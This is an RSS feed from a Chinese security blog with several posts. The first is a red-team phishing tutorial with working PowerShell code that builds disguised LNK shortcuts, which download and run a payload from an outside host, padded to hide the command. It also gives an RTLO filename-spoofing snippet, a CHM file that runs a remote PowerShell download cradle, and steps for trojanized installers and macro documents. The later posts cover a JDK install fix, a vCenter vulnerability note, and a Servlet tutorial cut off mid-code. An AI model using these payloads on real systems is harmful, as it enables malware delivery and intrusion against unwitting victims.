<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ChaBug安全</title>
	<atom:link href="/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 04 Jan 2021 11:28:18 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>邮件钓鱼学习</title>
		<link>/tools/2017.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Mon, 04 Jan 2021 11:23:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=2017</guid>

					<description><![CDATA[前言 在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式，由于本人只是个安服仔，接触的比较少（但也不能不学），就有了这篇文章，参考各位大佬的姿势总结一下。 钓鱼手段 ...]]></description>
										<content:encoded><![CDATA[<ul>
<li>前言</li>
</ul>
<p><strong>在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式，由于本人只是个安服仔，接触的比较少（但也不能不学），就有了这篇文章，参考各位大佬的姿势总结一下。</strong></p>
<h2>钓鱼手段</h2>
<h3>Lnk（快捷方式）</h3>
<p>可以在“⽬标”栏写⼊⾃⼰的恶意命令，如powershell上线命令等，这里举例为CMD</p>
<p><img src="/wp-content/uploads/2021/01/20210103160612-1.png" alt="" /></p>
<p>当我点击谷歌浏览器时，弹出了CMD</p>
<p><img src="/wp-content/uploads/2021/01/20210103160947-1.png" alt="" /></p>
<p>可以进行更改图标</p>
<p><img src="/wp-content/uploads/2021/01/20210103161253-1.png" alt="" /></p>
<ul>
<li>快速生成lnk样本</li>
</ul>
<pre><code class="line-numbers">$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&amp;cmd /c .\\ascotbe.exe"  
$Shortcut.Save()
</code></pre>
<p>运行</p>
<pre><code class="line-numbers">powershell -ExecutionPolicy RemoteSigned -file test.ps1
</code></pre>
<p><img src="/wp-content/uploads/2021/01/20210103163314-1.png" alt="" /></p>
<ul>
<li>Tips</li>
</ul>
<p><strong>目标文件位置所能显示最大字符串为260个，所有我们可以把执行的命令放在260个字符后面</strong></p>
<pre><code class="line-numbers">$file = Get-Content ".\test.txt"  
$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = '                                                                                                                                                                                                                                      '+ $file  
$Shortcut.Save()
</code></pre>
<h2>文件后缀RTLO</h2>
<p><strong>他会让字符串倒着编码</strong></p>
<p><img src="/wp-content/uploads/2021/01/20210103174703-1.png" alt="" /></p>
<ul>
<li>用Python一键生成用，把txt改为png后缀</li>
</ul>
<pre><code class="line-numbers">import os  
os.rename('test.txt', 'test-\u202egnp.txt')
</code></pre>
<pre><code class="line-numbers">import os
os.rename('cmd.exe', u'no\u202eFDP.exe')
</code></pre>
<h2>CHM文档</h2>
<p>创建一个文件夹（名字随意），在文件夹里面再创建两个文件夹（名字随意）和一个index.html文件，在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中</p>
<p><img src="/wp-content/uploads/2021/01/20210103180223-1.png" alt="" /></p>
<ul>
<li>在index.html文件中编辑</li>
</ul>
<pre><code class="line-numbers">&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
command exec
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=',calc.exe'&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<ul>
<li>使用cs生成修改模版中的calc.exe</li>
</ul>
<pre><code class="line-numbers">&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
command exec
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=",powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:81/a'))"&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<ul>
<li>使用EasyCHM编译</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103181650-1.png" alt="" /></p>
<ul>
<li>原有模版CMD</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103181750-1.png" alt="" /></p>
<ul>
<li>ps上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103182926-1.png" alt="" /></p>
<h2>自解压</h2>
<ul>
<li>使用CS生成木马</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103183747-1.png" alt="" /></p>
<ul>
<li>创建自解压文件</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184022-1.png" alt="" /></p>
<ul>
<li>高级自解压选项</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184233-1.png" alt="" /></p>
<ul>
<li>解压路径-绝对路径</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184310-1.png" alt="" /></p>
<ul>
<li>提取后运行</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103185602-1.png" alt="" /></p>
<ul>
<li>静默模式</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184559-1.png" alt="" /></p>
<ul>
<li>更新模式</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184719-1.png" alt="" /></p>
<ul>
<li>修改文件名</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103185941-1.png" alt="" /></p>
<h3>ResourceHacker</h3>
<p><img src="/wp-content/uploads/2021/01/20210103190216-1.png" alt="" /></p>
<ul>
<li>打开flash安装文件导出资源</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190401-1.png" alt="" /></p>
<ul>
<li>替换资源文件</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190557-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103190647-1.png" alt="" /></p>
<ul>
<li>上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190751-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103190834-1.png" alt="" /></p>
<h2>office宏</h2>
<h3>本地加载</h3>
<ul>
<li>新建word，创建宏</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191509-1.png" alt="" /></p>
<ul>
<li>cs生成宏粘贴</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191615-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103191756-1.png" alt="" /></p>
<ul>
<li>保存为启用宏的文档</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191858-1.png" alt="" /></p>
<ul>
<li>打开文档上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103220610-1.png" alt="" /></p>
<h3>远程加载</h3>
<p>编写一个带有宏代码的DOTM文档，并启用一个http服务将DOTM放置于web下<br />
<img src="/wp-content/uploads/2021/01/20210104090953-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210104091023-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210104192755.png" alt="" /></p>
<ul>
<li>新建一个任意的模版的docx文档并且解压</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104091336-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103222742-1.png" alt="" /></p>
<ul>
<li>编辑settings.xml.rels文件中的Target为我们第一个DOTM的http地址</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104092324-1.png" alt="" /></p>
<ul>
<li>重新压缩改后缀名为.docx</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104092252-1.png" alt="" /></p>
<ul>
<li>模拟点击上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104185613-1.png" alt="" /></p>
<h2>参考</h2>
<p>https://www.ascotbe.com/2020/07/26/office_0x01/#LNK%E9%92%93%E9%B1%BC</p>
<p>https://paper.seebug.org/1329/</p>
<p><a class="wp-editor-md-post-content-link" href="https://www.baikesec.com/webstudy/still/77.html">利用winrar自解压捆版payload制作免杀钓鱼木马</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Mac安装低版本Jdk解决方案</title>
		<link>/others/2003.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 20 Oct 2020 08:01:48 +0000</pubDate>
				<category><![CDATA[其他杂乱]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=2003</guid>

					<description><![CDATA[前言 因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误 解决方法 安装包pkg解压以后修改里面的判断版本的代码...]]></description>
										<content:encoded><![CDATA[<ul>
<li>前言</li>
</ul>
<p><strong>因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误</strong></p>
<p><img src="/wp-content/uploads/2020/10/20201020154148.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020154602.png" alt="" /></p>
<ul>
<li>解决方法</li>
</ul>
<p><strong>安装包pkg解压以后修改里面的判断版本的代码，然后在打包安装就可以了。</strong></p>
<h2>操作步骤</h2>
<ul>
<li>将安装包JDK 7 Update 67.pkg解压成unpkg包</li>
</ul>
<pre><code class="line-numbers">╰─➤  pkgutil --expand JDK 7 Update 67.pkg /tmp/jdk.unpkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020154840.png" alt="" /></p>
<ul>
<li>进入jdk.unpkg，里面有个Distribution的文件，输入vim Distribution编辑此文件</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155050.png" alt="" /></p>
<ul>
<li>编辑文件，修改验证逻辑</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155303.png" alt="" /></p>
<pre><code class="line-numbers">function pm_install_check() {
  return true;
}
</code></pre>
<ul>
<li>修改完如图</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155345.png" alt="" /></p>
<ul>
<li>再次打包成pkg</li>
</ul>
<pre><code class="line-numbers">pkgutil --flatten /tmp/jdk.unpkg /tmp/jdk.pkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020155533.png" alt="" /></p>
<ul>
<li>安装低版本Jdk</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155640.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020155709.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>VMware vCenter未授权任意文件读取</title>
		<link>/web/1999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 14 Oct 2020 01:09:08 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1999</guid>

					<description><![CDATA[我们在VMware vCenter中发现了一个未经身份验证的任意文件读取漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。 We found an Unauthe...]]></description>
										<content:encoded><![CDATA[<p>我们在<span class="wpcom_tag_link"><a href="/tags/vmware" title="VMware" target="_blank">VMware</a></span> vCenter中发现了一个未经身份验证的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span>漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。<br />
<a class="wp-editor-md-post-content-link" href="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg"><img src="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg" alt="" /></a></p>
<blockquote class="twitter-tweet" data-width="500" data-dnt="true">
<p lang="en" dir="ltr">We found an Unauthenticated Arbitrary File Read vulnerability in VMware vCenter. VMware revealed that this vulnerability was patched in 6.5u1, but no CVE was assigned.</p>
<p>The PoC ⬇️ <a href="https://t.co/LfvbyBUhF5">pic.twitter.com/LfvbyBUhF5</a></p>
<p>&mdash; PT SWARM (@ptswarm) <a href="https://twitter.com/ptswarm/status/1316016337550938122?ref_src=twsrc%5Etfw">October 13, 2020</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java学习入门之JavaWeb</title>
		<link>/code/1979.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Sun, 11 Oct 2020 07:35:19 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=1979</guid>

					<description><![CDATA[JavaWeb Servlet 实现了Servlet接口的java程序叫做Servlet 引入Servlet包 &#60;dependencies&#62; &#60;dependenc...]]></description>
										<content:encoded><![CDATA[<h1>JavaWeb</h1>
<h2>Servlet</h2>
<p><strong>实现了Servlet接口的java程序叫做Servlet</strong></p>
<ul>
<li>引入Servlet包</li>
</ul>
<pre><code class="language-java line-numbers">&lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;javax.servlet&lt;/groupId&gt;
            &lt;artifactId&gt;javax.servlet-api&lt;/artifactId&gt;
            &lt;version&gt;3.1.0&lt;/version&gt;
        &lt;/dependency&gt;

        &lt;dependency&gt;
            &lt;groupId&gt;javax.servlet.jsp&lt;/groupId&gt;
            &lt;artifactId&gt;jsp-api&lt;/artifactId&gt;
            &lt;version&gt;2.2&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200929152216.png" alt="" /></p>
<ul>
<li>新建moudle修改web.xml头信息</li>
</ul>
<pre><code class="language-java line-numbers">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
          http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"&gt;
&lt;/web-app&gt;
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20200929160818.png" alt="" /></p>
<h3>helloServlet</h3>
<p><strong>编写代码</strong></p>
<pre><code class="language-java line-numbers">import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter ();
        writer.print ("hello,y4er");

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}
</code></pre>
<ul>
<li>编写Servlet映射（web.xml中）</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;servlet&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;servlet-class&gt;helloservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/hello&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929162503.png" alt="" /></p>
<h3>ServletContext</h3>
<pre><code class="language-java line-numbers">this.getInitParameter() 初始化参数
this.getServletConfig() Servlet配置
this.getServletContext() Servlet上下文
</code></pre>
<h4>共享数据</h4>
<ul>
<li>helloservlet</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class helloservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();

        String user = "syst1m";

        servletContext.setAttribute ("username",user);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}
</code></pre>
<ul>
<li>replyservlet</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class replyservlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String username = (String) servletContext.getAttribute ("username");

        resp.setContentType ("text/html");
        resp.setCharacterEncoding ("utf-8");
        resp.getWriter ().print ("名字为"+username);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet (req, resp);
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;servlet-class&gt;helloservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;hello&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/hello&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
  &lt;servlet&gt;
    &lt;servlet-name&gt;reply&lt;/servlet-name&gt;
    &lt;servlet-class&gt;replyservlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;reply&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/reply&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929171626.png" alt="" /></p>
<h4>获得初始化参数</h4>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;context-param&gt;
    &lt;param-name&gt;jdbc&lt;/param-name&gt;
    &lt;param-value&gt;jdbc:mysql://localhost:3306/mybatis&lt;/param-value&gt;
  &lt;/context-param&gt;
</code></pre>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;jdbc&lt;/servlet-name&gt;
    &lt;servlet-class&gt;jdbcServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;jdbc&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/jdbc&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>代码</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        String url = servletContext.getInitParameter ("jdbc");
        resp.getWriter ().print (url);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929181012.png" alt="" /></p>
<h4>转发</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class forward extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext servletContext = this.getServletContext ();
        servletContext.getRequestDispatcher ("/jdbc").forward (req,resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<h4>读取资源文件</h4>
<ul>
<li>db.properties</li>
</ul>
<pre><code class="language-java line-numbers">username=syst1m
password=123456
</code></pre>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;

public class jdbcServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        InputStream is = this.getServletContext ().getResourceAsStream ("WEB-INF/classes/db.properties");

        Properties prop = new Properties ();
        prop.load (is);
        String username = prop.getProperty ("username");
        String password = prop.getProperty ("password");

        resp.getWriter ().print (username+password);

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost (req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200929213530.png" alt="" /></p>
<h3>HttpServletResponse</h3>
<h4>Response下载文件</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class FileServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //获取下载文件的路径
        String realPath = "/Users/syst1m/code/chabugservlet/com.web.servlet/src/main/resources/1.png";
        String FileName = realPath.substring (realPath.lastIndexOf ("\")+1);
        resp.setHeader ("Content-Disposition","attachment;filename="+ URLEncoder.encode (FileName,"UTF-8"));
        FileInputStream in = new FileInputStream (realPath);
        int len = 0;
        byte[] buffer = new byte[1024];
        ServletOutputStream out = resp.getOutputStream ();
        while((len=in.read(buffer))&gt;0){
            out.write (buffer,0,len);
        }

        in.close();
        out.close ();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">&lt;/servlet-mapping&gt;
  &lt;servlet&gt;
    &lt;servlet-name&gt;down&lt;/servlet-name&gt;
    &lt;servlet-class&gt;FileServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;down&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/down&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930105034.png" alt="" /></p>
<h4>Response实现验证码</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-java line-numbers">public class captchaServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        //浏览器每三秒刷新一次
        resp.setHeader ("refresh","3");
        //内存中创建一张图片
        BufferedImage image = new BufferedImage (80,20,BufferedImage.TYPE_3BYTE_BGR);
        //得到图片
        Graphics2D g = (Graphics2D)image.getGraphics ();
        //设置图片背景色
        g.setColor (Color.white);
        g.fillRect (0,0,80,80);
        //给图片写数据
        g.setColor (Color.blue);
        g.setFont (new Font (null,Font.BOLD,20));
        g.drawString (makenum(),1,20);
        //浏览器：以图片类型打开
        resp.setContentType ("image/jpeg");
        //清除缓存，不让浏览器缓存
        resp.setDateHeader ("expires",-1);
        resp.setHeader ("Cache-Control","no-cache");
        resp.setHeader ("Pragme","no-cache");
        // 把图片写给浏览器
        ImageIO.write (image,"jpg",resp.getOutputStream ());

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
    //生成随机数

    private String makenum(){
        Random random = new Random ();
        String num = random.nextInt (9999)+"";
        StringBuffer sb = new StringBuffer ();

        for (int i = 0; i &lt; 7-num.length (); i++) {
            sb.append ("0");
        }
        num = sb.toString ()+num;
        return num;
    }
}
</code></pre>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">&lt;servlet&gt;
    &lt;servlet-name&gt;img&lt;/servlet-name&gt;
    &lt;servlet-class&gt;captchaServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;img&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/img&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930141558.png" alt="" /></p>
<h4>Response实现重定向</h4>
<pre><code class="line-numbers">resp.sendRedirect
</code></pre>
<h3>HttpServletRequest</h3>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers"> &lt;servlet&gt;
    &lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;
    &lt;servlet-class&gt;LoginServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;
    &lt;url-pattern&gt;/login&lt;/url-pattern&gt;
  &lt;/servlet-mapping&gt;
</code></pre>
<ul>
<li>index.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@ page contentType="text/html;charset=UTF-8" language="java" %&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;登陆&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;登陆&lt;/h1&gt;
    &lt;div&gt;
        &lt;form action="${pageContext.request.contextPath}/login" method="post"&gt;

            用户名：&lt;input type="text" name="username"&gt;&lt;br&gt;
            密码：&lt;input type="password" name="password"&gt;&lt;br&gt;
            爱好：
            &lt;input type="checkbox" name="hobbys" value="女孩"&gt;女孩
            &lt;input type="checkbox" name="hobbys" value="代码"&gt;代码
            &lt;input type="checkbox" name="hobbys" value="chabug"&gt;chabug
            &lt;input type="checkbox" name="hobbys" value="渗透测试"&gt;渗透测试

            &lt;br&gt;
            &lt;button type="submit"&gt;submit&lt;/button&gt;
        &lt;/form&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;  
</code></pre>
<ul>
<li>success.jsp</li>
</ul>
<pre><code class="language-java line-numbers">&lt;%@ page contentType="text/html;charset=UTF-8" language="java" %&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;登陆成功&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;登陆成功&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<ul>
<li>LoginServlet</li>
</ul>
<pre><code class="language-java line-numbers">public class LoginServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
       req.setCharacterEncoding ("UTF-8");
       resp.setCharacterEncoding ("UTF-8");
       String username = req.getParameter ("username");
       String password = req.getParameter ("password");
       String[] hobbys = req.getParameterValues ("hobbys");

       System.out.println (username);
       System.out.println (password);
       System.out.println (Arrays.toString (hobbys));
       req.getRequestDispatcher ("/success.jsp").forward (req,resp);


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}
</code></pre>
<ul>
<li>运行测试</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20200930215258.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20200930220719.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20200930220653.png" alt="" /></p>
<h3>Cookie</h3>
<ul>
<li>注册Servlet</li>
</ul>
<pre><code class="language-java line-numbers">  &lt;servlet&gt;
    &lt;servlet-name&gt;cookie&lt;/servlet-name&gt;
    &lt;servlet-class&gt;CookieServlet&lt;/servlet-class&gt;
  &lt;/servlet&gt;
  &lt;servlet-mapping&gt;
    &lt;servlet-name&gt;cookie&lt;/servlet-name&gt;
